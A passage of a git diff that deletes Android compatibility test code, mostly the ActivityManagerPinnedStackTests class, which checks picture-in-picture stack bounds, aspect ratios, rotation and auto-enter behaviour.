-            expectedHeightPx = dpToPx(DEFAULT_HEIGHT_DP, densityDpi);
-        }
-
-        verifyFrameSizeAndPosition(
-                vGravity, hGravity, expectedWidthPx, expectedHeightPx, containingRect, appRect);
-    }
-
-    private void getDisplayAndWindowState(String activityName, boolean checkFocus)
-            throws Exception {
-        final String windowName = getWindowName(activityName);
-
-        mAmWmState.computeState(mDevice, new String[] {activityName});
-
-        if (checkFocus) {
-            mAmWmState.assertFocusedWindow("Test window must be the front window.", windowName);
-        } else {
-            mAmWmState.assertVisibility(activityName, true);
-        }
-
-        mAmWmState.getWmState().getMatchingVisibleWindowState(windowName, mTempWindowList);
-
-        Assert.assertEquals("Should have exactly one window state for the activity.",
-                1, mTempWindowList.size());
-
-        mWindowState = mTempWindowList.get(0);
-        Assert.assertNotNull("Should have a valid window", mWindowState);
-
-        mDisplay = mAmWmState.getWmState().getDisplay(mWindowState.getDisplayId());
-        Assert.assertNotNull("Should be on a display", mDisplay);
-    }
-
-    private void verifyFrameSizeAndPosition(
-            int vGravity, int hGravity, int expectedWidthPx, int expectedHeightPx,
-            Rectangle containingFrame, Rectangle parentFrame) {
-        Assert.assertEquals("Width is incorrect", expectedWidthPx, containingFrame.width);
-        Assert.assertEquals("Height is incorrect", expectedHeightPx, containingFrame.height);
-
-        if (vGravity == GRAVITY_VER_TOP) {
-            Assert.assertEquals("Should be on the top", parentFrame.y, containingFrame.y);
-        } else if (vGravity == GRAVITY_VER_BOTTOM) {
-            Assert.assertEquals("Should be on the bottom",
-                    parentFrame.y + parentFrame.height, containingFrame.y + containingFrame.height);
-        }
-
-        if (hGravity == GRAVITY_HOR_LEFT) {
-            Assert.assertEquals("Should be on the left", parentFrame.x, containingFrame.x);
-        } else if (hGravity == GRAVITY_HOR_RIGHT){
-            Assert.assertEquals("Should be on the right",
-                    parentFrame.x + parentFrame.width, containingFrame.x + containingFrame.width);
-        }
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
deleted file mode 100644
index 5f63580..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
+++ /dev/null
@@ -1,1338 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import static android.server.cts.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
-import static android.server.cts.ActivityManagerState.STATE_STOPPED;
-
-import android.server.cts.ActivityManagerState.ActivityStack;
-import android.server.cts.ActivityManagerState.ActivityTask;
-
-import java.awt.Rectangle;
-import java.lang.Exception;
-import java.lang.String;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerPinnedStackTests
- */
-public class ActivityManagerPinnedStackTests extends ActivityManagerTestBase {
-    private static final String TEST_ACTIVITY = "TestActivity";
-    private static final String TEST_ACTIVITY_WITH_SAME_AFFINITY = "TestActivityWithSameAffinity";
-    private static final String TRANSLUCENT_TEST_ACTIVITY = "TranslucentTestActivity";
-    private static final String NON_RESIZEABLE_ACTIVITY = "NonResizeableActivity";
-    private static final String RESUME_WHILE_PAUSING_ACTIVITY = "ResumeWhilePausingActivity";
-    private static final String PIP_ACTIVITY = "PipActivity";
-    private static final String PIP_ACTIVITY2 = "PipActivity2";
-    private static final String PIP_ACTIVITY_WITH_SAME_AFFINITY = "PipActivityWithSameAffinity";
-    private static final String ALWAYS_FOCUSABLE_PIP_ACTIVITY = "AlwaysFocusablePipActivity";
-    private static final String LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY =
-            "LaunchIntoPinnedStackPipActivity";
-    private static final String LAUNCH_ENTER_PIP_ACTIVITY = "LaunchEnterPipActivity";
-    private static final String PIP_ON_STOP_ACTIVITY = "PipOnStopActivity";
-
-    private static final String EXTRA_FIXED_ORIENTATION = "fixed_orientation";
-    private static final String EXTRA_ENTER_PIP = "enter_pip";
-    private static final String EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR =
-            "enter_pip_aspect_ratio_numerator";
-    private static final String EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR =
-            "enter_pip_aspect_ratio_denominator";
-    private static final String EXTRA_SET_ASPECT_RATIO_NUMERATOR = "set_aspect_ratio_numerator";
-    private static final String EXTRA_SET_ASPECT_RATIO_DENOMINATOR = "set_aspect_ratio_denominator";
-    private static final String EXTRA_SET_ASPECT_RATIO_WITH_DELAY_NUMERATOR =
-            "set_aspect_ratio_with_delay_numerator";
-    private static final String EXTRA_SET_ASPECT_RATIO_WITH_DELAY_DENOMINATOR =
-            "set_aspect_ratio_with_delay_denominator";
-    private static final String EXTRA_ENTER_PIP_ON_PAUSE = "enter_pip_on_pause";
-    private static final String EXTRA_TAP_TO_FINISH = "tap_to_finish";
-    private static final String EXTRA_START_ACTIVITY = "start_activity";
-    private static final String EXTRA_FINISH_SELF_ON_RESUME = "finish_self_on_resume";
-    private static final String EXTRA_REENTER_PIP_ON_EXIT = "reenter_pip_on_exit";
-    private static final String EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP = "assert_no_on_stop_before_pip";
-    private static final String EXTRA_ON_PAUSE_DELAY = "on_pause_delay";
-
-    private static final String PIP_ACTIVITY_ACTION_ENTER_PIP =
-            "android.server.cts.PipActivity.enter_pip";
-    private static final String PIP_ACTIVITY_ACTION_MOVE_TO_BACK =
-            "android.server.cts.PipActivity.move_to_back";
-    private static final String PIP_ACTIVITY_ACTION_EXPAND_PIP =
-            "android.server.cts.PipActivity.expand_pip";
-    private static final String PIP_ACTIVITY_ACTION_SET_REQUESTED_ORIENTATION =
-            "android.server.cts.PipActivity.set_requested_orientation";
-    private static final String PIP_ACTIVITY_ACTION_FINISH =
-            "android.server.cts.PipActivity.finish";
-    private static final String TEST_ACTIVITY_ACTION_FINISH =
-            "android.server.cts.TestActivity.finish_self";
-
-    private static final String APP_OPS_OP_ENTER_PICTURE_IN_PICTURE = "PICTURE_IN_PICTURE";
-    private static final int APP_OPS_MODE_ALLOWED = 0;
-    private static final int APP_OPS_MODE_IGNORED = 1;
-    private static final int APP_OPS_MODE_ERRORED = 2;
-
-    private static final int ROTATION_0 = 0;
-    private static final int ROTATION_90 = 1;
-    private static final int ROTATION_180 = 2;
-    private static final int ROTATION_270 = 3;
-
-    // Corresponds to ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE
-    private static final int ORIENTATION_LANDSCAPE = 0;
-    // Corresponds to ActivityInfo.SCREEN_ORIENTATION_PORTRAIT
-    private static final int ORIENTATION_PORTRAIT = 1;
-
-    private static final float FLOAT_COMPARE_EPSILON = 0.005f;
-
-    // Corresponds to com.android.internal.R.dimen.config_pictureInPictureMinAspectRatio
-    private static final int MIN_ASPECT_RATIO_NUMERATOR = 100;
-    private static final int MIN_ASPECT_RATIO_DENOMINATOR = 239;
-    private static final int BELOW_MIN_ASPECT_RATIO_DENOMINATOR = MIN_ASPECT_RATIO_DENOMINATOR + 1;
-    // Corresponds to com.android.internal.R.dimen.config_pictureInPictureMaxAspectRatio
-    private static final int MAX_ASPECT_RATIO_NUMERATOR = 239;
-    private static final int MAX_ASPECT_RATIO_DENOMINATOR = 100;
-    private static final int ABOVE_MAX_ASPECT_RATIO_NUMERATOR = MAX_ASPECT_RATIO_NUMERATOR + 1;
-
-    public void testMinimumDeviceSize() throws Exception {
-        if (!supportsPip()) return;
-
-        mAmWmState.assertDeviceDefaultDisplaySize(mDevice,
-                "Devices supporting picture-in-picture must be larger than the default minimum"
-                        + " task size");
-    }
-
-    public void testEnterPictureInPictureMode() throws Exception {
-        pinnedStackTester(getAmStartCmd(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true"), PIP_ACTIVITY,
-                false /* moveTopToPinnedStack */, false /* isFocusable */);
-    }
-
-    public void testMoveTopActivityToPinnedStack() throws Exception {
-        pinnedStackTester(getAmStartCmd(PIP_ACTIVITY), PIP_ACTIVITY,
-                true /* moveTopToPinnedStack */, false /* isFocusable */);
-    }
-
-    public void testAlwaysFocusablePipActivity() throws Exception {
-        pinnedStackTester(getAmStartCmd(ALWAYS_FOCUSABLE_PIP_ACTIVITY),
-                ALWAYS_FOCUSABLE_PIP_ACTIVITY, false /* moveTopToPinnedStack */,
-                true /* isFocusable */);
-    }
-
-    public void testLaunchIntoPinnedStack() throws Exception {
-        pinnedStackTester(getAmStartCmd(LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY),
-                ALWAYS_FOCUSABLE_PIP_ACTIVITY, false /* moveTopToPinnedStack */,
-                true /* isFocusable */);
-    }
-
-    public void testNonTappablePipActivity() throws Exception {
-        if (!supportsPip()) return;
-
-        // Launch the tap-to-finish activity at a specific place
-        launchActivity(PIP_ACTIVITY,
-                EXTRA_ENTER_PIP, "true",
-                EXTRA_TAP_TO_FINISH, "true");
-        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
-        assertPinnedStackExists();
-
-        // Tap the screen at a known location in the pinned stack bounds, and ensure that it is
-        // not passed down to the top task
-        tapToFinishPip();
-        mAmWmState.computeState(mDevice, new String[] {PIP_ACTIVITY},
-                false /* compareTaskAndStackBounds */);
-        mAmWmState.assertVisibility(PIP_ACTIVITY, true);
-    }
-
-    public void testPinnedStackDefaultBounds() throws Exception {
-        if (!supportsPip()) return;
-
-        // Launch a PIP activity
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
-
-        setDeviceRotation(ROTATION_0);
-        WindowManagerState wmState = mAmWmState.getWmState();
-        wmState.computeState(mDevice);
-        Rectangle defaultPipBounds = wmState.getDefaultPinnedStackBounds();
-        Rectangle stableBounds = wmState.getStableBounds();
-        assertTrue(defaultPipBounds.width > 0 && defaultPipBounds.height > 0);
-        assertTrue(stableBounds.contains(defaultPipBounds));
-
-        setDeviceRotation(ROTATION_90);
-        wmState = mAmWmState.getWmState();
-        wmState.computeState(mDevice);
-        defaultPipBounds = wmState.getDefaultPinnedStackBounds();
-        stableBounds = wmState.getStableBounds();
-        assertTrue(defaultPipBounds.width > 0 && defaultPipBounds.height > 0);
-        assertTrue(stableBounds.contains(defaultPipBounds));
-        setDeviceRotation(ROTATION_0);
-    }
-
-    public void testPinnedStackMovementBounds() throws Exception {
-        if (!supportsPip()) return;
-
-        // Launch a PIP activity
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
-
-        setDeviceRotation(ROTATION_0);
-        WindowManagerState wmState = mAmWmState.getWmState();
-        wmState.computeState(mDevice);
-        Rectangle pipMovementBounds = wmState.getPinnedStackMomentBounds();
-        Rectangle stableBounds = wmState.getStableBounds();
-        assertTrue(pipMovementBounds.width > 0 && pipMovementBounds.height > 0);
-        assertTrue(stableBounds.contains(pipMovementBounds));
-
-        setDeviceRotation(ROTATION_90);
-        wmState = mAmWmState.getWmState();
-        wmState.computeState(mDevice);
-        pipMovementBounds = wmState.getPinnedStackMomentBounds();
-        stableBounds = wmState.getStableBounds();
-        assertTrue(pipMovementBounds.width > 0 && pipMovementBounds.height > 0);
-        assertTrue(stableBounds.contains(pipMovementBounds));
-        setDeviceRotation(ROTATION_0);
-    }
-
-    public void testPinnedStackOutOfBoundsInsetsNonNegative() throws Exception {
-        if (!supportsPip()) return;
-
-        final WindowManagerState wmState = mAmWmState.getWmState();
-
-        // Launch an activity into the pinned stack
-        launchActivity(PIP_ACTIVITY,
-                EXTRA_ENTER_PIP, "true",
-                EXTRA_TAP_TO_FINISH, "true");
-        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
-
-        // Get the display dimensions
-        WindowManagerState.WindowState windowState = getWindowState(PIP_ACTIVITY);
-        WindowManagerState.Display display = wmState.getDisplay(windowState.getDisplayId());
-        Rectangle displayRect = display.getDisplayRect();
-
-        // Move the pinned stack offscreen
-        String moveStackOffscreenCommand = String.format("am stack resize 4 %d %d %d %d",
-                displayRect.width - 200, 0, displayRect.width + 200, 500);
-        executeShellCommand(moveStackOffscreenCommand);
-
-        // Ensure that the surface insets are not negative
-        windowState = getWindowState(PIP_ACTIVITY);
-        Rectangle contentInsets = windowState.getContentInsets();
-        assertTrue(contentInsets.x >= 0 && contentInsets.y >= 0 && contentInsets.width >= 0 &&
-                contentInsets.height >= 0);
-    }
-
-    public void testPinnedStackInBoundsAfterRotation() throws Exception {
-        if (!supportsPip()) return;
-
-        // Launch an activity into the pinned stack
-        launchActivity(PIP_ACTIVITY,
-                EXTRA_ENTER_PIP, "true",
-                EXTRA_TAP_TO_FINISH, "true");
-        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
-
-        // Ensure that the PIP stack is fully visible in each orientation
-        setDeviceRotation(ROTATION_0);
-        assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
-        setDeviceRotation(ROTATION_90);
-        assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
-        setDeviceRotation(ROTATION_180);
-        assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
-        setDeviceRotation(ROTATION_270);
-        assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
-        setDeviceRotation(ROTATION_0);
-    }
-
-    public void testEnterPipToOtherOrientation() throws Exception {
-        if (!supportsPip()) return;
-
-        // Launch a portrait only app on the fullscreen stack
-        launchActivity(TEST_ACTIVITY,
-                EXTRA_FIXED_ORIENTATION, String.valueOf(ORIENTATION_PORTRAIT));
-        // Launch the PiP activity fixed as landscape
-        launchActivity(PIP_ACTIVITY,
-                EXTRA_FIXED_ORIENTATION, String.valueOf(ORIENTATION_LANDSCAPE));
-        // Enter PiP, and assert that the PiP is within bounds now that the device is back in
-        // portrait
-        executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
-        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
-        assertPinnedStackExists();
-        assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
-    }
-
-    public void testEnterPipAspectRatioMin() throws Exception {
-        testEnterPipAspectRatio(MIN_ASPECT_RATIO_NUMERATOR, MIN_ASPECT_RATIO_DENOMINATOR);
-    }
-
-    public void testEnterPipAspectRatioMax() throws Exception {
-        testEnterPipAspectRatio(MAX_ASPECT_RATIO_NUMERATOR, MAX_ASPECT_RATIO_DENOMINATOR);
-    }
-
-    private void testEnterPipAspectRatio(int num, int denom) throws Exception {
-        if (!supportsPip()) return;
-
-        launchActivity(PIP_ACTIVITY,
-                EXTRA_ENTER_PIP, "true",
-                EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR, Integer.toString(num),
-                EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom));
-        assertPinnedStackExists();
-
-        // Assert that we have entered PIP and that the aspect ratio is correct
-        Rectangle pinnedStackBounds =
-                mAmWmState.getAmState().getStackById(PINNED_STACK_ID).getBounds();
-        assertTrue(floatEquals((float) pinnedStackBounds.width / pinnedStackBounds.height,
-                (float) num / denom));
-    }
-
-    public void testResizePipAspectRatioMin() throws Exception {
-        testResizePipAspectRatio(MIN_ASPECT_RATIO_NUMERATOR, MIN_ASPECT_RATIO_DENOMINATOR);
-    }
-
-    public void testResizePipAspectRatioMax() throws Exception {
-        testResizePipAspectRatio(MAX_ASPECT_RATIO_NUMERATOR, MAX_ASPECT_RATIO_DENOMINATOR);
-    }
-
-    private void testResizePipAspectRatio(int num, int denom) throws Exception {
-        if (!supportsPip()) return;
-
-        launchActivity(PIP_ACTIVITY,
-                EXTRA_ENTER_PIP, "true",
-                EXTRA_SET_ASPECT_RATIO_NUMERATOR, Integer.toString(num),
-                EXTRA_SET_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom));
-        assertPinnedStackExists();
-
-        // Hacky, but we need to wait for the enterPictureInPicture animation to complete and
-        // the resize to be called before we can check the pinned stack bounds
-        final boolean[] result = new boolean[1];
-        mAmWmState.waitForWithAmState(mDevice, (state) -> {
-            Rectangle pinnedStackBounds = state.getStackById(PINNED_STACK_ID).getBounds();
-            boolean isValidAspectRatio = floatEquals(
-                    (float) pinnedStackBounds.width / pinnedStackBounds.height,
-                    (float) num / denom);
-            result[0] = isValidAspectRatio;
-            return isValidAspectRatio;
-        }, "Waiting for pinned stack to be resized");
-        assertTrue(result[0]);
-    }
-
-    public void testEnterPipExtremeAspectRatioMin() throws Exception {
-        testEnterPipExtremeAspectRatio(MIN_ASPECT_RATIO_NUMERATOR,
-                BELOW_MIN_ASPECT_RATIO_DENOMINATOR);
-    }
-
-    public void testEnterPipExtremeAspectRatioMax() throws Exception {
-        testEnterPipExtremeAspectRatio(ABOVE_MAX_ASPECT_RATIO_NUMERATOR,
-                MAX_ASPECT_RATIO_DENOMINATOR);
-    }
-
-    private void testEnterPipExtremeAspectRatio(int num, int denom) throws Exception {
-        if (!supportsPip()) return;
-
-        // Assert that we could not create a pinned stack with an extreme aspect ratio
-        launchActivity(PIP_ACTIVITY,
-                EXTRA_ENTER_PIP, "true",
-                EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR, Integer.toString(num),
-                EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom));
-        assertPinnedStackDoesNotExist();
-    }
-
-    public void testSetPipExtremeAspectRatioMin() throws Exception {
-        testSetPipExtremeAspectRatio(MIN_ASPECT_RATIO_NUMERATOR,
-                BELOW_MIN_ASPECT_RATIO_DENOMINATOR);
-    }
-
-    public void testSetPipExtremeAspectRatioMax() throws Exception {
-        testSetPipExtremeAspectRatio(ABOVE_MAX_ASPECT_RATIO_NUMERATOR,
-                MAX_ASPECT_RATIO_DENOMINATOR);
-    }
-
-    private void testSetPipExtremeAspectRatio(int num, int denom) throws Exception {
-        if (!supportsPip()) return;
-
-        // Try to resize the a normal pinned stack to an extreme aspect ratio and ensure that
-        // fails (the aspect ratio remains the same)
-        launchActivity(PIP_ACTIVITY,
-                EXTRA_ENTER_PIP, "true",
-                EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR,
-                        Integer.toString(MAX_ASPECT_RATIO_NUMERATOR),
-                EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR,
-                        Integer.toString(MAX_ASPECT_RATIO_DENOMINATOR),
-                EXTRA_SET_ASPECT_RATIO_NUMERATOR, Integer.toString(num),
-                EXTRA_SET_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom));
-        assertPinnedStackExists();
-        Rectangle pinnedStackBounds =
-                mAmWmState.getAmState().getStackById(PINNED_STACK_ID).getBounds();
-        assertTrue(floatEquals((float) pinnedStackBounds.width / pinnedStackBounds.height,
-                (float) MAX_ASPECT_RATIO_NUMERATOR / MAX_ASPECT_RATIO_DENOMINATOR));
-    }
-
-    public void testDisallowPipLaunchFromStoppedActivity() throws Exception {
-        if (!supportsPip()) return;
-
-        // Launch the bottom pip activity
-        launchActivity(PIP_ON_STOP_ACTIVITY);
-        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
-
-        // Wait for the bottom pip activity to be stopped
-        mAmWmState.waitForActivityState(mDevice, PIP_ON_STOP_ACTIVITY, STATE_STOPPED);
-
-        // Assert that there is no pinned stack (that enterPictureInPicture() failed)
-        assertPinnedStackDoesNotExist();
-    }
-
-    public void testAutoEnterPictureInPicture() throws Exception {
-        if (!supportsPip()) return;
-
-        // Launch a test activity so that we're not over home
-        launchActivity(TEST_ACTIVITY);
-
-        // Launch the PIP activity on pause
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP_ON_PAUSE, "true");
-        assertPinnedStackDoesNotExist();
-
-        // Go home and ensure that there is a pinned stack
-        launchHomeActivity();
-        assertPinnedStackExists();
-    }
-
-    public void testAutoEnterPictureInPictureLaunchActivity() throws Exception {
-        if (!supportsPip()) return;
-
-        // Launch a test activity so that we're not over home
-        launchActivity(TEST_ACTIVITY);
-
-        // Launch the PIP activity on pause, and have it start another activity on
-        // top of itself.  Wait for the new activity to be visible and ensure that the pinned stack
-        // was not created in the process
-        launchActivity(PIP_ACTIVITY,
-                EXTRA_ENTER_PIP_ON_PAUSE, "true",
-                EXTRA_START_ACTIVITY, getActivityComponentName(NON_RESIZEABLE_ACTIVITY));
-        mAmWmState.computeState(mDevice, new String[] {NON_RESIZEABLE_ACTIVITY},
-                false /* compareTaskAndStackBounds */);
-        assertPinnedStackDoesNotExist();
-
-        // Go home while the pip activity is open and ensure the previous activity is not PIPed
-        launchHomeActivity();
-        assertPinnedStackDoesNotExist();
-    }
-
-    public void testAutoEnterPictureInPictureFinish() throws Exception {
-        if (!supportsPip()) return;
-
-        // Launch a test activity so that we're not over home
-        launchActivity(TEST_ACTIVITY);
-
-        // Launch the PIP activity on pause, and set it to finish itself after
-        // some period.  Wait for the previous activity to be visible, and ensure that the pinned
-        // stack was not created in the process
-        launchActivity(PIP_ACTIVITY,
-                EXTRA_ENTER_PIP_ON_PAUSE, "true",
-                EXTRA_FINISH_SELF_ON_RESUME, "true");
-        assertPinnedStackDoesNotExist();
-    }
-
-    public void testAutoEnterPictureInPictureAspectRatio() throws Exception {
-        if (!supportsPip()) return;
-
-        // Launch the PIP activity on pause, and set the aspect ratio
-        launchActivity(PIP_ACTIVITY,
-                EXTRA_ENTER_PIP_ON_PAUSE, "true",
-                EXTRA_SET_ASPECT_RATIO_NUMERATOR, Integer.toString(MAX_ASPECT_RATIO_NUMERATOR),
-                EXTRA_SET_ASPECT_RATIO_DENOMINATOR, Integer.toString(MAX_ASPECT_RATIO_DENOMINATOR));
-
-        // Go home while the pip activity is open to trigger auto-PIP
-        launchHomeActivity();
-        assertPinnedStackExists();
-
-        // Hacky, but we need to wait for the auto-enter picture-in-picture animation to complete
-        // and before we can check the pinned stack bounds
-        final boolean[] result = new boolean[1];
-        mAmWmState.waitForWithAmState(mDevice, (state) -> {
-            Rectangle pinnedStackBounds = state.getStackById(PINNED_STACK_ID).getBounds();
-            boolean isValidAspectRatio = floatEquals(
-                    (float) pinnedStackBounds.width / pinnedStackBounds.height,
-                    (float) MAX_ASPECT_RATIO_NUMERATOR / MAX_ASPECT_RATIO_DENOMINATOR);
-            result[0] = isValidAspectRatio;
-            return isValidAspectRatio;
-        }, "Waiting for pinned stack to be resized");
-        assertTrue(result[0]);
-    }
-
-    public void testAutoEnterPictureInPictureOverPip() throws Exception {
-        if (!supportsPip()) return;
-
-        // Launch another PIP activity
-        launchActivity(LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY);
-        mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
-        assertPinnedStackExists();
-
-        // Launch the PIP activity on pause
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP_ON_PAUSE, "true");
-
-        // Go home while the PIP activity is open to trigger auto-enter PIP
-        launchHomeActivity();
-        assertPinnedStackExists();
-
-        // Ensure that auto-enter pip failed and that the resumed activity in the pinned stack is
-        // still the first activity
-        final ActivityStack pinnedStack = mAmWmState.getAmState().getStackById(PINNED_STACK_ID);
-        assertTrue(pinnedStack.getTasks().size() == 1);
-        assertTrue(pinnedStack.getTasks().get(0).mRealActivity.equals(getActivityComponentName(
-                ALWAYS_FOCUSABLE_PIP_ACTIVITY)));
-    }
-
-    public void testDisallowMultipleTasksInPinnedStack() throws Exception {
-        if (!supportsPip()) return;
-
-        // Launch a test activity so that we have multiple fullscreen tasks
-        launchActivity(TEST_ACTIVITY);
-
-        // Launch first PIP activity
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
-
-        // Launch second PIP activity
-        launchActivity(PIP_ACTIVITY2, EXTRA_ENTER_PIP, "true");
-
-        final ActivityStack pinnedStack = mAmWmState.getAmState().getStackById(PINNED_STACK_ID);
-        assertEquals(1, pinnedStack.getTasks().size());
-
-        assertTrue(pinnedStack.getTasks().get(0).mRealActivity.equals(getActivityComponentName(
-                PIP_ACTIVITY2)));
-
-        final ActivityStack fullScreenStack = mAmWmState.getAmState().getStackById(
-                FULLSCREEN_WORKSPACE_STACK_ID);
-        assertTrue(fullScreenStack.getBottomTask().mRealActivity.equals(getActivityComponentName(
-                PIP_ACTIVITY)));
-    }
-
-    public void testPipUnPipOverHome() throws Exception {
-        if (!supportsPip()) return;
-
-        // Go home
-        launchHomeActivity();
-        // Launch an auto pip activity
-        launchActivity(PIP_ACTIVITY,
-                EXTRA_ENTER_PIP, "true",
-                EXTRA_REENTER_PIP_ON_EXIT, "true");
-        assertPinnedStackExists();
-
-        // Relaunch the activity to fullscreen to trigger the activity to exit and re-enter pip
-        launchActivity(PIP_ACTIVITY);
-        mAmWmState.waitForWithAmState(mDevice, (amState) -> {
-            return amState.getFrontStackId(DEFAULT_DISPLAY_ID) == FULLSCREEN_WORKSPACE_STACK_ID;
-        }, "Waiting for PIP to exit to fullscreen");
-        mAmWmState.waitForWithAmState(mDevice, (amState) -> {
-            return amState.getFrontStackId(DEFAULT_DISPLAY_ID) == PINNED_STACK_ID;
-        }, "Waiting to re-enter PIP");
-        mAmWmState.assertFocusedStack("Expected home stack focused", HOME_STACK_ID);
-    }
-
-    public void testPipUnPipOverApp() throws Exception {
-        if (!supportsPip()) return;
-
-        // Launch a test activity so that we're not over home
-        launchActivity(TEST_ACTIVITY);
-
-        // Launch an auto pip activity
-        launchActivity(PIP_ACTIVITY,
-                EXTRA_ENTER_PIP, "true",
-                EXTRA_REENTER_PIP_ON_EXIT, "true");
-        assertPinnedStackExists();
-
-        // Relaunch the activity to fullscreen to trigger the activity to exit and re-enter pip
-        launchActivity(PIP_ACTIVITY);
-        mAmWmState.waitForWithAmState(mDevice, (amState) -> {
-            return amState.getFrontStackId(DEFAULT_DISPLAY_ID) == FULLSCREEN_WORKSPACE_STACK_ID;
-        }, "Waiting for PIP to exit to fullscreen");
-        mAmWmState.waitForWithAmState(mDevice, (amState) -> {
-            return amState.getFrontStackId(DEFAULT_DISPLAY_ID) == PINNED_STACK_ID;
-        }, "Waiting to re-enter PIP");
-        mAmWmState.assertFocusedStack("Expected fullscreen stack focused",
-                FULLSCREEN_WORKSPACE_STACK_ID);
-    }
-
-    public void testRemovePipWithNoFullscreenStack() throws Exception {
-        if (!supportsPip()) return;
-
-        // Start with a clean slate, remove all the stacks but home
-        removeStacks(ALL_STACK_IDS_BUT_HOME);
-
-        // Launch a pip activity
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
-        assertPinnedStackExists();
-
-        // Remove the stack and ensure that the task is now in the fullscreen stack (when no
-        // fullscreen stack existed before)
-        removeStacks(PINNED_STACK_ID);
-        assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY, HOME_STACK_ID,
-                true /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
-    }
-
-    public void testRemovePipWithVisibleFullscreenStack() throws Exception {
-        if (!supportsPip()) return;
-
-        // Launch a fullscreen activity, and a pip activity over that
-        launchActivity(TEST_ACTIVITY);
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
-        assertPinnedStackExists();
-
-        // Remove the stack and ensure that the task is placed in the fullscreen stack, behind the
-        // top fullscreen activity
-        removeStacks(PINNED_STACK_ID);
-        assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID,
-                false /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
-    }
-
-    public void testRemovePipWithHiddenFullscreenStack() throws Exception {
-        if (!supportsPip()) return;
-
-        // Launch a fullscreen activity, return home and while the fullscreen stack is hidden,
-        // launch a pip activity over home
-        launchActivity(TEST_ACTIVITY);
-        launchHomeActivity();
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
-        assertPinnedStackExists();
-
-        // Remove the stack and ensure that the task is placed on top of the hidden fullscreen
-        // stack, but that the home stack is still focused
-        removeStacks(PINNED_STACK_ID);
-        assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY, HOME_STACK_ID,
-                false /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
-    }
-
-    public void testMovePipToBackWithNoFullscreenStack() throws Exception {
-        if (!supportsPip()) return;
-
-        // Start with a clean slate, remove all the stacks but home
-        removeStacks(ALL_STACK_IDS_BUT_HOME);
-
-        // Launch a pip activity
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
-        assertPinnedStackExists();
-
-        // Remove the stack and ensure that the task is now in the fullscreen stack (when no
-        // fullscreen stack existed before)
-        executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_MOVE_TO_BACK);
-        assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY, HOME_STACK_ID,
-                false /* expectTopTaskHasActivity */, true /* expectBottomTaskHasActivity */);
-    }
-
-    public void testMovePipToBackWithVisibleFullscreenStack() throws Exception {
-        if (!supportsPip()) return;
-
-        // Launch a fullscreen activity, and a pip activity over that
-        launchActivity(TEST_ACTIVITY);
